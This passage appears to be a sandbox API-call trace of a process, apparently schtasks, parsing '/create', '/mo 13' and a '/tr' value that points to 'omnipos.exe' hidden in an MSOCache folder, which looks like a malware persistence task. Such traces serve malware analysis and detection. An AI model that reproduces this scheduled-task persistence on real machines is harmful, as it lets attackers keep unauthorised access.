0x0 [0116.104] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0116.104] GetLastError () returned 0x0 [0116.104] lstrlenW (lpString="MINUTE") returned 6 [0116.104] lstrlenW (lpString="MINUTE") returned 6 [0116.104] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.104] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.104] lstrlenW (lpString="/mo") returned 3 [0116.104] lstrlenW (lpString="-/") returned 2 [0116.104] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.104] lstrlenW (lpString="create") returned 6 [0116.104] lstrlenW (lpString="create") returned 6 [0116.104] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.104] lstrlenW (lpString="mo") returned 2 [0116.104] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.104] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|create|") returned 8 [0116.104] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.104] lstrlenW (lpString="|create|") returned 8 [0116.104] lstrlenW (lpString="|mo|") returned 4 [0116.104] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0116.104] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.104] lstrlenW (lpString="?") returned 1 [0116.104] lstrlenW (lpString="?") returned 1 [0116.104] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.104] lstrlenW (lpString="mo") returned 2 [0116.104] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.104] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|?|") returned 3 [0116.105] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.105] lstrlenW (lpString="|?|") returned 3 [0116.105] lstrlenW (lpString="|mo|") returned 4 [0116.105] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.105] lstrlenW (lpString="s") returned 1 [0116.105] lstrlenW (lpString="s") returned 1 [0116.105] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.105] lstrlenW (lpString="mo") returned 2 [0116.105] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.105] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|s|") returned 3 [0116.105] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.105] lstrlenW (lpString="|s|") returned 3 [0116.105] lstrlenW (lpString="|mo|") returned 4 [0116.105] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.105] lstrlenW (lpString="u") returned 1 [0116.105] lstrlenW (lpString="u") returned 1 [0116.105] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.105] lstrlenW (lpString="mo") returned 2 [0116.105] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.105] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|u|") returned 3 [0116.105] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.105] lstrlenW (lpString="|u|") returned 3 [0116.105] lstrlenW (lpString="|mo|") returned 4 [0116.105] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.105] lstrlenW (lpString="p") returned 1 [0116.105] lstrlenW (lpString="p") returned 1 [0116.105] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.105] lstrlenW (lpString="mo") returned 2 [0116.106] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.108] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|p|") returned 3 [0116.108] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.108] lstrlenW (lpString="|p|") returned 3 [0116.108] lstrlenW (lpString="|mo|") returned 4 [0116.108] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.108] lstrlenW (lpString="ru") returned 2 [0116.108] lstrlenW (lpString="ru") returned 2 [0116.108] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.108] lstrlenW (lpString="mo") returned 2 [0116.108] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.108] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|ru|") returned 4 [0116.108] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.108] lstrlenW (lpString="|ru|") returned 4 [0116.108] lstrlenW (lpString="|mo|") returned 4 [0116.108] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0116.108] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.108] lstrlenW (lpString="rp") returned 2 [0116.108] lstrlenW (lpString="rp") returned 2 [0116.108] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.109] lstrlenW (lpString="mo") returned 2 [0116.109] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.109] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rp|") returned 4 [0116.109] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.109] lstrlenW (lpString="|rp|") returned 4 [0116.109] lstrlenW (lpString="|mo|") returned 4 [0116.109] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0116.109] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.109] lstrlenW (lpString="sc") returned 2 [0116.109] lstrlenW (lpString="sc") returned 2 [0116.109] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.109] lstrlenW (lpString="mo") returned 2 [0116.109] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.109] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.109] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.109] lstrlenW (lpString="|sc|") returned 4 [0116.109] lstrlenW (lpString="|mo|") returned 4 [0116.109] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0116.109] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.109] lstrlenW (lpString="mo") returned 2 [0116.109] lstrlenW (lpString="mo") returned 2 [0116.109] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.109] lstrlenW (lpString="mo") returned 2 [0116.109] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.110] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.110] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.110] lstrlenW (lpString="|mo|") returned 4 [0116.110] lstrlenW (lpString="|mo|") returned 4 [0116.110] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0116.110] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.110] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.110] lstrlenW (lpString="13") returned 2 [0116.110] lstrlenW (lpString="-/") returned 2 [0116.110] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0116.110] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.110] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.110] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.110] lstrlenW (lpString="13") returned 2 [0116.110] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0116.110] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.110] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.110] _memicmp (_Buf1=0x1b20792abf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.110] lstrlenW (lpString="13") returned 2 [0116.110] lstrlenW (lpString="13") returned 2 [0116.110] lstrlenW (lpString=" \x09") returned 2 [0116.110] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0116.110] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0116.110] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0116.110] GetLastError () returned 0x0 [0116.110] lstrlenW (lpString="13") returned 2 [0116.110] lstrlenW (lpString="13") returned 2 [0116.110] GetProcessHeap () returned 0x1b207920000 [0116.110] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x6) returned 0x1b207924f00 [0116.110] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.111] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.111] lstrlenW (lpString="/tr") returned 3 [0116.111] lstrlenW (lpString="-/") returned 2 [0116.111] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.111] lstrlenW (lpString="create") returned 6 [0116.111] lstrlenW (lpString="create") returned 6 [0116.111] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.111] lstrlenW (lpString="tr") returned 2 [0116.111] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.111] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|create|") returned 8 [0116.111] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.111] lstrlenW (lpString="|create|") returned 8 [0116.111] lstrlenW (lpString="|tr|") returned 4 [0116.111] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0116.111] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.111] lstrlenW (lpString="?") returned 1 [0116.111] lstrlenW (lpString="?") returned 1 [0116.111] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.111] lstrlenW (lpString="tr") returned 2 [0116.111] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.111] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|?|") returned 3 [0116.111] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.111] lstrlenW (lpString="|?|") returned 3 [0116.111] lstrlenW (lpString="|tr|") returned 4 [0116.111] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.111] lstrlenW (lpString="s") returned 1 [0116.111] lstrlenW (lpString="s") returned 1 [0116.111] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.112] lstrlenW (lpString="tr") returned 2 [0116.112] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.112] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|s|") returned 3 [0116.112] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.112] lstrlenW (lpString="|s|") returned 3 [0116.112] lstrlenW (lpString="|tr|") returned 4 [0116.112] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.112] lstrlenW (lpString="u") returned 1 [0116.112] lstrlenW (lpString="u") returned 1 [0116.112] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.112] lstrlenW (lpString="tr") returned 2 [0116.112] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.112] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|u|") returned 3 [0116.112] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.112] lstrlenW (lpString="|u|") returned 3 [0116.112] lstrlenW (lpString="|tr|") returned 4 [0116.112] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.112] lstrlenW (lpString="p") returned 1 [0116.112] lstrlenW (lpString="p") returned 1 [0116.112] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.112] lstrlenW (lpString="tr") returned 2 [0116.112] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.112] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|p|") returned 3 [0116.112] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.112] lstrlenW (lpString="|p|") returned 3 [0116.112] lstrlenW (lpString="|tr|") returned 4 [0116.113] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.113] lstrlenW (lpString="ru") returned 2 [0116.113] lstrlenW (lpString="ru") returned 2 [0116.113] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.113] lstrlenW (lpString="tr") returned 2 [0116.113] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.113] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|ru|") returned 4 [0116.113] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.113] lstrlenW (lpString="|ru|") returned 4 [0116.113] lstrlenW (lpString="|tr|") returned 4 [0116.113] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0116.113] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.113] lstrlenW (lpString="rp") returned 2 [0116.113] lstrlenW (lpString="rp") returned 2 [0116.113] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.113] lstrlenW (lpString="tr") returned 2 [0116.113] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.113] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rp|") returned 4 [0116.113] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.113] lstrlenW (lpString="|rp|") returned 4 [0116.113] lstrlenW (lpString="|tr|") returned 4 [0116.113] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0116.113] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.113] lstrlenW (lpString="sc") returned 2 [0116.113] lstrlenW (lpString="sc") returned 2 [0116.113] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.113] lstrlenW (lpString="tr") returned 2 [0116.114] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.114] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.114] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.114] lstrlenW (lpString="|sc|") returned 4 [0116.114] lstrlenW (lpString="|tr|") returned 4 [0116.114] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0116.114] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.114] lstrlenW (lpString="mo") returned 2 [0116.114] lstrlenW (lpString="mo") returned 2 [0116.114] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.114] lstrlenW (lpString="tr") returned 2 [0116.114] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.114] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.114] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.114] lstrlenW (lpString="|mo|") returned 4 [0116.114] lstrlenW (lpString="|tr|") returned 4 [0116.114] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0116.114] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.114] lstrlenW (lpString="d") returned 1 [0116.114] lstrlenW (lpString="d") returned 1 [0116.114] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.114] lstrlenW (lpString="tr") returned 2 [0116.114] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.114] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|d|") returned 3 [0116.114] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.114] lstrlenW (lpString="|d|") returned 3 [0116.114] lstrlenW (lpString="|tr|") returned 4 [0116.115] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.115] lstrlenW (lpString="m") returned 1 [0116.115] lstrlenW (lpString="m") returned 1 [0116.115] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.115] lstrlenW (lpString="tr") returned 2 [0116.115] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.115] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|m|") returned 3 [0116.115] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.115] lstrlenW (lpString="|m|") returned 3 [0116.115] lstrlenW (lpString="|tr|") returned 4 [0116.115] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.115] lstrlenW (lpString="i") returned 1 [0116.115] lstrlenW (lpString="i") returned 1 [0116.115] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.115] lstrlenW (lpString="tr") returned 2 [0116.115] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.115] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|i|") returned 3 [0116.115] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.115] lstrlenW (lpString="|i|") returned 3 [0116.115] lstrlenW (lpString="|tr|") returned 4 [0116.115] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.115] lstrlenW (lpString="tn") returned 2 [0116.115] lstrlenW (lpString="tn") returned 2 [0116.115] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.115] lstrlenW (lpString="tr") returned 2 [0116.115] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.115] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.116] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.116] lstrlenW (lpString="|tn|") returned 4 [0116.116] lstrlenW (lpString="|tr|") returned 4 [0116.116] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0116.116] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.116] lstrlenW (lpString="tr") returned 2 [0116.116] lstrlenW (lpString="tr") returned 2 [0116.116] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.116] lstrlenW (lpString="tr") returned 2 [0116.116] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.116] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.116] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.116] lstrlenW (lpString="|tr|") returned 4 [0116.116] lstrlenW (lpString="|tr|") returned 4 [0116.116] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0116.116] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.116] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.116] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0116.116] lstrlenW (lpString="-/") returned 2 [0116.116] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0116.116] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.116] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.116] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.116] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0116.116] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'" [0116.116] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0116.116] _memicmp (_Buf1=0x1b207924820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.116] _memicmp (_Buf1=0x1b20792a9d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.117] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.117] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.117] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.117] lstrlenW (lpString="'C") returned 2 [0116.117] lstrlenW (lpString="-/") returned 2 [0116.117] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0116.117] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.117] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.117] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.117] _memicmp (_Buf1=0x1b20792abf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.117] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0116.117] GetProcessHeap () returned 0x1b207920000 [0116.117] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792a9f0) returned 1 [0116.117] GetProcessHeap () returned 0x1b207920000 [0116.117] RtlReAllocateHeap (Heap=0x1b207920000, Flags=0xc, Ptr=0x1b20792a9f0, Size=0x9a) returned 0x1b207924760 [0116.117] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0116.117] lstrlenW (lpString=" \x09") returned 2 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0116.117] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0116.118] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x7b) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0116.118] StrChrW 